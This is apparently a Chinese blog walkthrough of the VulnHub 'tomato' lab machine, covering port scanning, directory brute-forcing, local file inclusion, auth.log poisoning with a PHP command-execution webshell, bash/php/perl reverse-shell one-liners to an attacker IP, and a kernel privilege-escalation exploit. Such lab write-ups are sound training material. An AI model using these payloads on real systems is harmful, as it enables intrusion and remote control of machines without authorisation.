当前位置:网站首页>vulnhub之tomato(西红柿)
vulnhub之tomato(西红柿)
2022-07-03 11:05:00 【梅_花_七】
目录
一、主机发现
二、端口扫描
三、服务版本发现
开放了两个http服务端口,使用的中间件不一样。
21端口部署ftp
2211端口部署ssh服务
还知道这是unbuntu系统。

四、信息收集
1.80
果然是个大西红柿,再例行检查下源码,业务有用信息

2.8888
登录框,最经典尝试,弱口令。无法成功
五、扩大供给面扫描目录
1.dirsearch常规字典
啥都没有,换大字典的话dirsearch跑的很慢,所以换gobuster

2.gobuster
是基于go语言开发的,速度快
gobuster dir -u http://192.168.0.101 -w /usr/share/seclists/Discovery/Web-Content/common.txt
301状态码引起我们的注意

六、/antibot_image信息收集
1.从图片判断这服务器部署里反爬虫应用

2.info.php文件
这就是一个phpinfo文件,里面有开关配置信息,服务器环境,配置文件目录等

3.info.php文件源码
注释中出现了信息泄露,很明显是一个include文件包含的函数

七、文件包含
1.参数中对本地文件进行包含
2.对远程文件包含
实操:在kali上创建一个php文件,来远程包含,失败
条件:简单来说远程文件包含,就是可以包含其他主机上的文件,并当成php代码执行。
要实现远程文件包含的话,php配置的allow_url_include = on必须为on(开启)
这点从phpinfo中也可以看出来。他没开
3.通过文件包含漏洞查看私钥
失败,他没有/home/tomato/.ssh/id_rsa
4.查看ubuntu日志文件
/var/log/auth.log
这个日志是unbuntu默认的登陆失败的记录日志。所以我们可以利用ssh或者ftp登录失败注入代码。

5.测试
ssh [email protected] -p 2211
果然我们输入的aaaaaaaaaaaa都出现在了上面,把他更改为木马

6.写入命令执行木马到日志
<?php echo system($_GET['cc'])?>
将这个写入的时候,php代码没有显示,证明服务器存在php运行环境,注入脚本正常解析了

7.参数测试
view-source:http://192.168.0.101/antibot_image/antibots/info.php?image=/var/log/auth.log&cc=id

八、反弹shell
最后利用python反弹成功
1.bash
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1
2.php
php -r '$sock=fsockopen("控制端ip",控制端端口);exec("/bin/bash -i <&3 >&3 2>&3");'
3.perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

九、内核漏洞枚举提权
1.工具linux-exploit-suggester
sudo apt install linux-exploit-suggester
2.传输工具
服务端:
nc -nvlp 4444 > 1.sh
客户端:
nc 192.168.0.101 4444 < linux-exploit-suggester.sh -w 1
3.挨个尝试

十、CVE-2017-16995

在kali端用gcc编译后,nc上传,给予权限,最后执行。

边栏推荐
- 小鹏 P7 撞护栏安全气囊未弹出,官方回应称撞击力度未达到弹出要求
- (database authorization - redis) summary of unauthorized access vulnerabilities in redis
- C language utf8toutf16 (UTF-8 characters are converted to hexadecimal encoding)
- vulnhub之GeminiInc
- The excel table is transferred to word, and the table does not exceed the edge paper range
- 外插散点数据
- Cacti监控Redis实现过程
- 牛牛的组队竞赛
- OpenStack中的测试分类
- 鸿蒙第三次培训(项目实训)
猜你喜欢
随机推荐
R language uses the aggregate function to calculate the mean value (sum) of dataframe data grouping aggregation without setting na The result of RM calculation. If the group contains the missing value
P3250 [HNOI2016] 网络 + [NECPC2022] F.Tree Path 树剖+线段树维护堆
金额计算用 BigDecimal 就万无一失了?看看这五个坑吧~~
DS90UB949
Linear table sequence table comprehensive application problem p18
导师对帮助研究生顺利完成学业提出了20条劝告:第一,不要有度假休息的打算.....
VS2015的下载地址和安装教程
R语言使用原生包(基础导入包、graphics)中的hist函数可视化直方图(histogram plot)
R语言使用data.table包进行数据聚合统计计算滑动窗口统计值(Window Statistics)、计算滑动分组中位数(median)并合并生成的统计数据到原数据集中
After using the thread pool for so long, do you really know how to reasonably configure the number of threads?
Cadence background color setting
vulnhub之GeminiInc
Numpy np.max和np.maximum实现relu函数
优化接口性能
836. Merge sets (day 63) and search sets
vulnhub之presidential
R language uses data The table package performs data aggregation statistics, calculates window statistics, calculates the median of sliding groups, and merges the generated statistical data into the o
uniapp scroll view 解决高度自适应、弹框滚动穿透等问题。
typeScript
FL Studio 20 unlimited trial fruit arranger Download









